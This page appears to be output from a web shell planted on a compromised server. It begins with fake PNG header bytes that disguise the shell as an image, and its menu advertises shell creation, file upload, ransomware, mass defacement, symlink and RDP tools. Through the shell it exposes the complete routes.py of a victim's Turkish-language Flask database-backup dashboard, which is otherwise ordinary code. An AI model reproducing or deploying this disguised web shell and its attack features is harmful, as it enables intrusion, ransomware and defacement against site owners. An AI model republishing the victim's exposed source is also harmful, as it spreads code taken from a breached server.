\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv3/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv3/routes.py


import os
import datetime
from flask import render_template, request, redirect, url_for, flash, jsonify, session
from sqlalchemy.exc import SQLAlchemyError
from flask_babel import _, get_locale
from flask_login import login_user, logout_user, current_user, login_required
from app import app, db, logger, mail
from models import DatabaseConnection, StorageTarget, BackupJob, BackupLog, SmtpSettings, User
from forms import DatabaseConnectionForm, StorageTargetForm, BackupJobForm, SmtpSettingsForm, LoginForm, RegistrationForm
from backup_utils import test_database_connection, run_backup
from storage_utils import test_storage_connection, get_storage_space
from scheduler import schedule_backup_job, remove_scheduled_job
from restore_database import restore_from_backup

@app.route('/')
@login_required
def index():
    """Render the dashboard page with backup statistics."""
    # Get recent backup logs
    recent_logs = BackupLog.query.order_by(BackupLog.timestamp.desc()).limit(10).all()
    
    # Get database connections
    db_connections = DatabaseConnection.query.all()
    
    # Get storage targets
    storage_targets = StorageTarget.query.all()
    
    # Get backup jobs
    backup_jobs = BackupJob.query.all()
    
    # Count success and failed backups
    success_count = BackupLog.query.filter_by(status='success').count()
    failed_count = BackupLog.query.filter_by(status='failed').count()
    
    # Get storage space info
    storage_info = []
    for target in storage_targets:
        try:
            free_space, total_space = get_storage_space(target)
            percent_free = (free_space / total_space) * 100 if total_space > 0 else 0
            warning = percent_free < 10  # Warning if less than 10% space available
            
            storage_info.append({
                'id': target.id,
                'name': target.name,
                'free_space': free_space,
                'total_space': total_space,
                'percent_free': percent_free,
                'warning': warning
            })
        except Exception as e:
            logger.error(f"Error getting storage space for {target.name}: {str(e)}")
            storage_info.append({
                'id': target.id,
                'name': target.name,
                'free_space': 0,
                'total_space': 0,
                'percent_free': 0,
                'warning': True,
                'error': str(e)
            })
    
    return render_template('dashboard.html', 
                          recent_logs=recent_logs,
                          db_count=len(db_connections),
                          storage_count=len(storage_targets),
                          job_count=len(backup_jobs),
                          success_count=success_count,
                          failed_count=failed_count,
                          storage_info=storage_info)

@app.route('/databases')
@login_required
def databases():
    """Render the database connections page."""
    db_connections = DatabaseConnection.query.all()
    form = DatabaseConnectionForm()
    return render_template('databases.html', db_connections=db_connections, form=form)

@app.route('/databases/add', methods=['POST'])
@login_required
def add_database():
    """Add a new database connection."""
    # Check if user has permission to manage database connections
    if not current_user.can_manage_db_connections():
        flash(_('Veritabanı bağlantısı ekleme izniniz yok.'), 'danger')
        return redirect(url_for('databases'))
    
    form = DatabaseConnectionForm()
    if form.validate_on_submit():
        try:
            # Test connection before saving
            connection_success = test_database_connection(
                db_type=form.db_type.data,
                host=form.host.data,
                port=form.port.data,
                username=form.username.data,
                password=form.password.data,
                database=form.database.data
            )
            
            if connection_success:
                new_db = DatabaseConnection(
                    name=form.name.data,
                    db_type=form.db_type.data,
                    host=form.host.data,
                    port=form.port.data,
                    username=form.username.data,
                    password=form.password.data,
                    database=form.database.data
                )
                
                db.session.add(new_db)
                db.session.commit()
                flash(_('Veritabanı bağlantısı başarıyla eklendi!'), 'success')
            else:
                flash(_('Veritabanına bağlanılamadı. Lütfen bilgilerinizi kontrol edin.'), 'danger')
        except SQLAlchemyError as e:
            db.session.rollback()
            flash(f'Database error: {str(e)}', 'danger')
        except Exception as e:
            flash(f'Error: {str(e)}', 'danger')
    else:
        for field, errors in form.errors.items():
            for error in errors:
                flash(f'{getattr(form, field).label.text}: {error}', 'danger')
    
    return redirect(url_for('databases'))

@app.route('/databases/delete/<int:db_id>', methods=['POST'])
@login_required
def delete_database(db_id):
    """Delete a database connection."""
    # Check if user has permission to manage database connections
    if not current_user.can_manage_db_connections():
        flash(_('Veritabanı bağlantısı silme izniniz yok.'), 'danger')
        return redirect(url_for('databases'))
        
    try:
        db_conn = DatabaseConnection.query.get_or_404(db_id)
        
        # Check if database is used in any backup job
        jobs = BackupJob.query.filter_by(database_id=db_id).all()
        if jobs:
            flash(_('Yedekleme görevlerinde kullanılan veritabanı silinemez.'), 'danger')
            return redirect(url_for('databases'))
        
        db.session.delete(db_conn)
        db.session.commit()
        flash(_('Veritabanı bağlantısı başarıyla silindi!'), 'success')
    except SQLAlchemyError as e:
        db.session.rollback()
        flash(f'Veritabanı hatası: {str(e)}', 'danger')
    except Exception as e:
        flash(f'Hata: {str(e)}', 'danger')
    
    return redirect(url_for('databases'))

@app.route('/databases/test/<int:db_id>')
@login_required
def test_database(db_id):
    """Test a database connection."""
    # Test operations are allowed for all authenticated users
    # since this is just reading data, not modifying
    
    try:
        db_conn = DatabaseConnection.query.get_or_404(db_id)
        
        connection_success = test_database_connection(
            db_type=db_conn.db_type,
            host=db_conn.host,
            port=db_conn.port,
            username=db_conn.username,
            password=db_conn.password,
            database=db_conn.database
        )
        
        if connection_success:
            flash(_('Veritabanı bağlantısı başarılı!'), 'success')
        else:
            flash(_('Veritabanına bağlanılamadı.'), 'danger')
    except Exception as e:
        flash(f'Veritabanı bağlantı testi hatası: {str(e)}', 'danger')
    
    return redirect(url_for('databases'))

@app.route('/storage')
@login_required
def storage():
    """Render the storage targets page."""
    storage_targets = StorageTarget.query.all()
    form = StorageTargetForm()
    
    # Get storage space info
    for target in storage_targets:
        try:
            free_space, total_space = get_storage_space(target)
            target.free_space = free_space
            target.total_space = total_space
            target.percent_free = (free_space / total_space) * 100 if total_space > 0 else 0
            target.warning = target.percent_free < 10
        except Exception as e:
            logger.error(f"Error getting storage space for {target.name}: {str(e)}")
            target.free_space = 0
            target.total_space = 0
            target.percent_free = 0
            target.warning = True
            target.error = str(e)
    
    return render_template('storage.html', storage_targets=storage_targets, form=form)

@app.route('/storage/add', methods=['POST'])
@login_required
def add_storage():
    """Add a new storage target."""
    # Check if user has permission to manage storage
    if not current_user.can_manage_storage():
        flash(_('Depolama hedefi ekleme izniniz yok.'), 'danger')
        return redirect(url_for('storage'))
        
    form = StorageTargetForm()
    if form.validate_on_submit():
        try:
            # Test connection before saving
            connection_success = test_storage_connection(
                storage_type=form.storage_type.data,
                host=form.host.data,
                port=form.port.data,
                username=form.username.data,
                password=form.password.data,
                path=form.path.data
            )
            
            if connection_success:
                new_storage = StorageTarget(
                    name=form.name.data,
                    storage_type=form.storage_type.data,
                    host=form.host.data,
                    port=form.port.data,
                    username=form.username.data,
                    password=form.password.data,
                    path=form.path.data
                )
                
                db.session.add(new_storage)
                db.session.commit()
                flash(_('Depolama hedefi başarıyla eklendi!'), 'success')
            else:
                flash(_('Depolama hedefine bağlanılamadı. Lütfen kimlik bilgilerinizi kontrol edin.'), 'danger')
        except SQLAlchemyError as e:
            db.session.rollback()
            flash(f'Database error: {str(e)}', 'danger')
        except Exception as e:
            flash(f'Error: {str(e)}', 'danger')
    else:
        for field, errors in form.errors.items():
            for error in errors:
                flash(f'{getattr(form, field).label.text}: {error}', 'danger')
    
    return redirect(url_for('storage'))

@app.route('/storage/delete/<int:storage_id>', methods=['POST'])
@login_required
def delete_storage(storage_id):
    """Delete a storage target."""
    # Check if user has permission to manage storage
    if not current_user.can_manage_storage():
        flash(_('Depolama hedefi silme izniniz yok.'), 'danger')
        return redirect(url_for('storage'))
        
    try:
        storage_target = StorageTarget.query.get_or_404(storage_id)
        
        # Check if storage is used in any backup job
        jobs = BackupJob.query.filter_by(storage_id=storage_id).all()
        if jobs:
            flash(_('Yedekleme görevlerinde kullanılan depolama hedefi silinemez.'), 'danger')
            return redirect(url_for('storage'))
        
        db.session.delete(storage_target)
        db.session.commit()
        flash(_('Depolama hedefi başarıyla silindi!'), 'success')
    except SQLAlchemyError as e:
        db.session.rollback()
        flash(f'Veritabanı hatası: {str(e)}', 'danger')
    except Exception as e:
        flash(f'Hata: {str(e)}', 'danger')
    
    return redirect(url_for('storage'))

@app.route('/storage/test/<int:storage_id>')
@login_required
def test_storage(storage_id):
    """Test a storage connection."""
    # Test operations are allowed for all authenticated users
    # since this is just reading data, not modifying
    
    try:
        storage_target = StorageTarget.query.get_or_404(storage_id)
        
        connection_success = test_storage_connection(
            storage_type=storage_target.storage_type,
            host=storage_target.host,
            port=storage_target.port,
            username=storage_target.username,
            password=storage_target.password,
            path=storage_target.path
        )
        
        if connection_success:
            flash(_('Depolama hedefine bağlantı başarılı!'), 'success')
        else:
            flash(_('Depolama hedefine bağlanılamadı.'), 'danger')
    except Exception as e:
        flash(f'Depolama hedefi bağlantı testi hatası: {str(e)}', 'danger')
    
    return redirect(url_for('storage'))

@app.route('/backup_jobs')
@login_required
def backup_jobs():
    """Render the backup jobs page."""
    backup_jobs = BackupJob.query.all()
    db_connections = DatabaseConnection.query.all()
    storage_targets = StorageTarget.query.all()
    form = BackupJobForm()
    
    # Populate form choices
    form.database_id.choices = [(db.id, db.name) for db in db_connections]
    form.storage_id.choices = [(s.id, s.name) for s in storage_targets]
    
    return render_template('backup_jobs.html', 
                          backup_jobs=backup_jobs, 
                          db_connections=db_connections,
                          storage_targets=storage_targets,
                          form=form)

@app.route('/backup_jobs/add', methods=['POST'])
@login_required
def add_backup_job():
    """Add a new backup job."""
    # Check if user has permission to manage backup jobs
    if not current_user.can_manage_backup_jobs():
        flash(_('Yedekleme görevi ekleme izniniz yok.'), 'danger')
        return redirect(url_for('backup_jobs'))
        
    db_connections = DatabaseConnection.query.all()
    storage_targets = StorageTarget.query.all()
    
    form = BackupJobForm()
    form.database_id.choices = [(db.id, db.name) for db in db_connections]
    form.storage_id.choices = [(s.id, s.name) for s in storage_targets]
    
    if form.validate_on_submit():
        try:
            new_job = BackupJob(
                name=form.name.data,
                database_id=form.database_id.data,
                storage_id=form.storage_id.data,
                schedule_type=form.schedule_type.data,
                schedule_value=form.schedule_value.data,
                retention_days=form.retention_days.data,
                enabled=form.enabled.data
            )
            
            db.session.add(new_job)
            db.session.commit()
            
            # Schedule the job if enabled
            if new_job.enabled:
                schedule_backup_job(new_job)
                
            flash(_('Yedekleme görevi başarıyla eklendi!'), 'success')
        except SQLAlchemyError as e:
            db.session.rollback()
            flash(f'Veritabanı hatası: {str(e)}', 'danger')
        except Exception as e:
            flash(f'Hata: {str(e)}', 'danger')
    else:
        for field, errors in form.errors.items():
            for error in errors:
                flash(f'{getattr(form, field).label.text}: {error}', 'danger')
    
    return redirect(url_for('backup_jobs'))

@app.route('/backup_jobs/delete/<int:job_id>', methods=['POST'])
@login_required
def delete_backup_job(job_id):
    """Delete a backup job."""
    # Check if user has permission to manage backup jobs
    if not current_user.can_manage_backup_jobs():
        flash(_('Yedekleme görevi silme izniniz yok.'), 'danger')
        return redirect(url_for('backup_jobs'))
        
    try:
        job = BackupJob.query.get_or_404(job_id)
        
        # Remove from scheduler if enabled
        if job.enabled:
            remove_scheduled_job(job.id)
        
        db.session.delete(job)
        db.session.commit()
        flash(_('Yedekleme görevi başarıyla silindi!'), 'success')
    except SQLAlchemyError as e:
        db.session.rollback()
        flash(f'Veritabanı hatası: {str(e)}', 'danger')
    except Exception as e:
        flash(f'Hata: {str(e)}', 'danger')
    
    return redirect(url_for('backup_jobs'))

@app.route('/backup_jobs/toggle/<int:job_id>', methods=['POST'])
@login_required
def toggle_backup_job(job_id):
    """Toggle enabled status for a backup job."""
    # Check if user has permission to manage backup jobs
    if not current_user.can_manage_backup_jobs():
        flash(_('Yedekleme görevi durumunu değiştirme izniniz yok.'), 'danger')
        return redirect(url_for('backup_jobs'))
        
    try:
        job = BackupJob.query.get_or_404(job_id)
        job.enabled = not job.enabled
        
        if job.enabled:
            # Add to scheduler
            schedule_backup_job(job)
            flash(_('Yedekleme görevi başarıyla etkinleştirildi!'), 'success')
        else:
            # Remove from scheduler
            remove_scheduled_job(job.id)
            flash(_('Yedekleme görevi başarıyla devre dışı bırakıldı!'), 'success')
            
        db.session.commit()
    except SQLAlchemyError as e:
        db.session.rollback()
        flash(f'Veritabanı hatası: {str(e)}', 'danger')
    except Exception as e:
        flash(f'Hata: {str(e)}', 'danger')
    
    return redirect(url_for('backup_jobs'))

@app.route('/backup_jobs/run/<int:job_id>', methods=['POST'])
@login_required
def run_backup_job(job_id):
    """Run a backup job manually."""
    # Both admin and regular users should be able to run backups
    # No explicit permission check since this is a read operation
    # But we still check for authenticated users with login_required
    
    try:
        job = BackupJob.query.get_or_404(job_id)
        
        # Run the backup with email notifications
        success = run_backup(job, send_email=True)
        
        if success:
            flash(_('Yedekleme görevi başarıyla çalıştırıldı! E-posta bildirimleri gönderildi.'), 'success')
        else:
            flash(_('Yedekleme görevi çalıştırma başarısız oldu. Detaylar için logları kontrol edin.'), 'danger')
    except Exception as e:
        flash(f'Hata: {str(e)}', 'danger')
    
    return redirect(url_for('backup_jobs'))

@app.route('/logs')
@login_required
def logs():
    """Render the backup logs page."""
    page = request.args.get('page', 1, type=int)
    per_page = 20
    
    backup_logs = BackupLog.query.order_by(BackupLog.timestamp.desc()).paginate(page=page, per_page=per_page)
    
    # Create a form for CSRF protection
    from flask_wtf import FlaskForm
    form = FlaskForm()
    
    return render_template('logs.html', backup_logs=backup_logs, form=form)

@app.route('/restore/<int:log_id>', methods=['POST'])
@login_required
def restore_backup(log_id):
    """Restore a database from a backup."""
    # Check if user has permission to manage backup jobs
    if not current_user.can_manage_backup_jobs():
        flash(_('Veritabanı geri yükleme izniniz yok.'), 'danger')
        return redirect(url_for('logs'))
        
    try:
        # Find the backup log entry
        backup_log = BackupLog.query.get_or_404(log_id)
        
        # Make sure the backup was successful
        if backup_log.status != 'success':
            flash(_('Sadece başarılı yedekler geri yüklenebilir.'), 'danger')
            return redirect(url_for('logs'))
            
        # Make sure the backup file exists
        if not backup_log.backup_file or not os.path.exists(backup_log.backup_file):
            flash(_('Yedek dosyası bulunamadı.'), 'danger')
            return redirect(url_for('logs'))
            
        # Perform the restore
        result = restore_from_backup(log_id)
        
        if result['success']:
            # Create a new log entry for the restore
            new_log = BackupLog(
                job_id=backup_log.job_id,
                status='success',
                message=f"Geri yükleme başarılı: {os.path.basename(backup_log.backup_file)}",
                backup_file=backup_log.backup_file,
                backup_size=backup_log.backup_size,
                duration=0  # We don't track duration for restores
            )
            db.session.add(new_log)
            db.session.commit()
            
            flash(_('Veritabanı başarıyla geri yüklendi!'), 'success')
        else:
            flash(_('Veritabanı geri yükleme hatası: ') + result['message'], 'danger')
            
    except Exception as e:
        logger.error(f"Restore error: {str(e)}")
        flash(f'Geri yükleme hatası: {str(e)}', 'danger')
    
    return redirect(url_for('logs'))

@app.route('/settings')
@login_required
def settings():
    """Render the settings page."""
    # Retrieve SMTP settings from database or environment variables
    smtp_settings = SmtpSettings.get_settings()
    
    # Create SMTP settings form
    smtp_form = SmtpSettingsForm()
    
    # If there's an existing SMTP configuration in the database, populate the form
    settings_record = SmtpSettings.query.first()
    if settings_record:
        # Default connection type based on port and SSL/TLS settings
        connection_type = 'ssl' if settings_record.mail_use_ssl else 'tls'
        
        # Populate form
        smtp_form.mail_server.data = settings_record.mail_server
        smtp_form.mail_username.data = settings_record.mail_username
        smtp_form.mail_password.data = settings_record.mail_password
        smtp_form.mail_default_sender.data = settings_record.mail_default_sender
        smtp_form.mail_connection_type.data = connection_type
        smtp_form.notification_emails.data = settings_record.notification_emails
    
    return render_template('settings.html',
                          mail_settings=smtp_settings,
                          smtp_form=smtp_form)

@app.route('/settings/smtp', methods=['POST'])
@login_required
def save_smtp_settings():
    """Save SMTP email settings."""
    # Only admin users can modify SMTP settings
    if not current_user.is_admin:
        flash(_('E-posta ayarlarını değiştirme izniniz yok.'), 'danger')
        return redirect(url_for('settings'))
        
    form = SmtpSettingsForm()
    
    if form.validate_on_submit():
        try:
            # Determine SSL/TLS based on connection type
            is_tls = form.mail_connection_type.data == 'tls'
            is_ssl = form.mail_connection_type.data == 'ssl'
            
            # Set port based on connection type if not explicitly provided
            port = 587 if is_tls else 465
            
            # Check if we have existing settings to update
            settings = SmtpSettings.query.first()
            
            if settings:
                # Update existing record
                settings.mail_server = form.mail_server.data
                settings.mail_port = port
                settings.mail_use_tls = is_tls
                settings.mail_use_ssl = is_ssl
                settings.mail_username = form.mail_username.data
                settings.mail_password = form.mail_password.data
                settings.mail_default_sender = form.mail_default_sender.data
                settings.notification_emails = form.notification_emails.data
            else:
                # Create new record
                settings = SmtpSettings(
                    mail_server=form.mail_server.data,
                    mail_port=port,
                    mail_use_tls=is_tls,
                    mail_use_ssl=is_ssl,
                    mail_username=form.mail_username.data,
                    mail_password=form.mail_password.data,
                    mail_default_sender=form.mail_default_sender.data,
                    notification_emails=form.notification_emails.data
                )
                db.session.add(settings)
            
            # Save to database
            db.session.commit()
            
            # Update mail configuration
            app.config['MAIL_SERVER'] = settings.mail_server
            app.config['MAIL_PORT'] = settings.mail_port
            app.config['MAIL_USE_TLS'] = settings.mail_use_tls
            app.config['MAIL_USE_SSL'] = settings.mail_use_ssl
            app.config['MAIL_USERNAME'] = settings.mail_username
            app.config['MAIL_PASSWORD'] = settings.mail_password
            app.config['MAIL_DEFAULT_SENDER'] = settings.mail_default_sender
            
            # Update environment variables for compatibility with existing code
            os.environ['MAIL_SERVER'] = settings.mail_server
            os.environ['MAIL_PORT'] = str(settings.mail_port)
            os.environ['MAIL_USE_TLS'] = str(settings.mail_use_tls)
            os.environ['MAIL_USE_SSL'] = str(settings.mail_use_ssl)
            os.environ['MAIL_USERNAME'] = settings.mail_username
            os.environ['MAIL_PASSWORD'] = settings.mail_password
            os.environ['MAIL_DEFAULT_SENDER'] = settings.mail_default_sender
            
            # Update environment variable for mail notifications
            os.environ['BACKUP_NOTIFICATION_EMAILS'] = settings.notification_emails
            
            # Reinitialize mail
            mail.init_app(app)
            
            flash(_('E-posta ayarları başarıyla kaydedildi!'), 'success')
        except Exception as e:
            db.session.rollback()
            flash(f'E-posta ayarlarını kaydederken hata: {str(e)}', 'danger')
    else:
        for field, errors in form.errors.items():
            for error in errors:
                flash(f'{getattr(form, field).label.text}: {error}', 'danger')
    
    return redirect(url_for('settings'))


@app.route('/settings/test_email', methods=['POST'])
@login_required
def test_email():
    """Send a test email to verify email settings."""
    # Only admin users can send test emails
    if not current_user.is_admin:
        flash(_('Test e-postası gönderme izniniz yok.'), 'danger')
        return redirect(url_for('settings'))
        
    try:
        # Get email recipient(s)
        recipients_str = request.form.get('email_addresses', '')
        if not recipients_str:
            flash(_('Lütfen test e-postası göndermek için en az bir e-posta adresi girin.'), 'danger')
            return redirect(url_for('settings'))
        
        recipients = [email.strip() for email in recipients_str.split(',')]
        
        # Import and call the test email function
        from email_utils import send_test_email
        success = send_test_email(recipients)
        
        if success:
            flash(_('Test e-postası başarıyla gönderildi! Lütfen gelen kutunuzu kontrol edin.'), 'success')
        else:
            flash(_('Test e-postası gönderilemedi. Lütfen e-posta ayarlarınızı kontrol edin.'), 'danger')
            
    except Exception as e:
        flash(f'Test e-postası gönderme hatası: {str(e)}', 'danger')
    
    return redirect(url_for('settings'))

@app.route('/api/dashboard_stats')
def dashboard_stats():
    """API endpoint for dashboard statistics."""
    # Get backup success/failure counts for the last 7 days
    from sqlalchemy import func
    import datetime
    
    # Calculate date 7 days ago
    seven_days_ago = datetime.datetime.now() - datetime.timedelta(days=7)
    
    # Query logs to get counts by day and status
    daily_stats = db.session.query(
        func.date(BackupLog.timestamp).label('date'),
        BackupLog.status,
        func.count().label('count')
    ).filter(
        BackupLog.timestamp >= seven_days_ago
    ).group_by(
        func.date(BackupLog.timestamp),
        BackupLog.status
    ).all()
    
    # Format the data for Chart.js
    dates = sorted(list(set([stat.date.strftime('%Y-%m-%d') for stat in daily_stats])))
    success_data = [0] * len(dates)
    failed_data = [0] * len(dates)
    
    for stat in daily_stats:
        date_index = dates.index(stat.date.strftime('%Y-%m-%d'))
        if stat.status == 'success':
            success_data[date_index] = stat.count
        else:
            failed_data[date_index] = stat.count
    
    return jsonify({
        'labels': dates,
        'success': success_data,
        'failed': failed_data
    })

# Language and Theme Routes
@app.route('/set_language/<lang>')
def set_language(lang):
    """Set the user's preferred language."""
    if lang in ['en', 'tr']:
        session['lang'] = lang
        flash(_('Language changed successfully!'), 'success')
    return redirect(request.referrer or url_for('index'))

@app.route('/set_theme/<theme>')
def set_theme(theme):
    """Set the user's preferred theme."""
    # Tema değiştirme kaldırıldı, sadece light tema kullanılıyor
    session['theme'] = 'light'
    return redirect(request.referrer or url_for('index'))


@app.route('/login', methods=['GET', 'POST'])
def login():
    """Login page."""
    if current_user.is_authenticated:
        return redirect(url_for('index'))
    
    form = LoginForm()
    if form.validate_on_submit():
        user = User.query.filter_by(username=form.username.data).first()
        
        if user is None or not user.check_password(form.password.data):
            flash(_('Geçersiz kullanıcı adı veya şifre'), 'danger')
            return redirect(url_for('login'))
        
        login_user(user, remember=form.remember_me.data)
        user.last_login = datetime.datetime.utcnow()
        db.session.commit()
        
        next_page = request.args.get('next')
        if not next_page or not next_page.startswith('/'):
            next_page = url_for('index')
            
        return redirect(next_page)
    
    return render_template('login.html', title=_('Giriş Yap'), form=form)


@app.route('/logout')
def logout():
    """Logout the current user."""
    logout_user()
    return redirect(url_for('login'))


# User management routes
@app.route('/users')
@login_required
def users():
    """Render the user management page."""
    # Only admins can access this page
    if not current_user.is_admin:
        flash(_('Bu sayfaya erişim izniniz yok.'), 'danger')
        return redirect(url_for('index'))
    
    users = User.query.all()
    form = RegistrationForm()
    
    return render_template('users.html', 
                          users=users, 
                          form=form,
                          current_user=current_user)

@app.route('/users/add', methods=['POST'])
@login_required
def add_user():
    """Add a new user."""
    # Only admins can add users
    if not current_user.is_admin:
        flash(_('Kullanıcı ekleme izniniz yok.'), 'danger')
        return redirect(url_for('index'))
    
    form = RegistrationForm()
    if form.validate_on_submit():
        try:
            new_user = User(
                username=form.username.data,
                email=form.email.data,
                is_admin=form.is_admin.data
            )
            new_user.set_password(form.password.data)
            
            db.session.add(new_user)
            db.session.commit()
            flash(_('Kullanıcı başarıyla eklendi!'), 'success')
        except SQLAlchemyError as e:
            db.session.rollback()
            flash(f'Veritabanı hatası: {str(e)}', 'danger')
        except Exception as e:
            flash(f'Hata: {str(e)}', 'danger')
    else:
        for field, errors in form.errors.items():
            for error in errors:
                flash(f'{getattr(form, field).label.text}: {error}', 'danger')
    
    return redirect(url_for('users'))

@app.route('/users/delete/<int:user_id>', methods=['POST'])
@login_required
def delete_user(user_id):
    """Delete a user."""
    # Only admins can delete users
    if not current_user.is_admin:
        flash(_('Kullanıcı silme izniniz yok.'), 'danger')
        return redirect(url_for('index'))
    
    try:
        user = User.query.get_or_404(user_id)
        
        # Prevent deleting the admin user or yourself
        if user.username == 'admin':
            flash(_('Ana admin kullanıcısı silinemez.'), 'danger')
            return redirect(url_for('users'))
        
        if user.id == current_user.id:
            flash(_('Kendinizi silemezsiniz.'), 'danger')
            return redirect(url_for('users'))
        
        db.session.delete(user)
        db.session.commit()
        flash(_('Kullanıcı başarıyla silindi!'), 'success')
    except SQLAlchemyError as e:
        db.session.rollback()
        flash(f'Veritabanı hatası: {str(e)}', 'danger')
    except Exception as e:
        flash(f'Hata: {str(e)}', 'danger')
    
    return redirect(url_for('users'))

@app.route('/users/toggle_admin/<int:user_id>', methods=['POST'])
@login_required
def toggle_user_admin(user_id):
    """Toggle admin status for a user."""
    # Only admins can change admin status
    if not current_user.is_admin:
        flash(_('Yetki değiştirme izniniz yok.'), 'danger')
        return redirect(url_for('index'))
    
    try:
        user = User.query.get_or_404(user_id)
        
        # Prevent changing admin status of the main admin user
        if user.username == 'admin':
            flash(_('Ana admin kullanıcısının yetkisi değiştirilemez.'), 'danger')
            return redirect(url_for('users'))
        
        user.is_admin = not user.is_admin
        db.session.commit()
        
        if user.is_admin:
            flash(f'{user.username} kullanıcısına admin yetkisi verildi.', 'success')
        else:
            flash(f'{user.username} kullanıcısının admin yetkisi kaldırıldı.', 'success')
            
    except SQLAlchemyError as e:
        db.session.rollback()
        flash(f'Veritabanı hatası: {str(e)}', 'danger')
    except Exception as e:
        flash(f'Hata: {str(e)}', 'danger')
    
    return redirect(url_for('users'))


# Register endpoint kaldırıldı

# Alternatif olarak, ilk kullanıcıyı oluşturmak için bir komut satırı aracı:
def create_admin_user(username, email, password):
    """
    Komut satırı aracından çağrılmak üzere tasarlanmıştır.
    İlk admin kullanıcıyı oluşturur.
    """
    # İlk kullanıcı kontrolü
    if User.query.count() > 0:
        return False, "Sistemde zaten kullanıcılar bulunuyor!"
    
    try:
        user = User(username=username, email=email, is_admin=True)
        user.set_password(password)
        db.session.add(user)
        db.session.commit()
        return True, f"Admin kullanıcı {username} başarıyla oluşturuldu!"
    except Exception as e:
        db.session.rollback()
        return False, f"Hata: {str(e)}"

© KUJUNTI.ID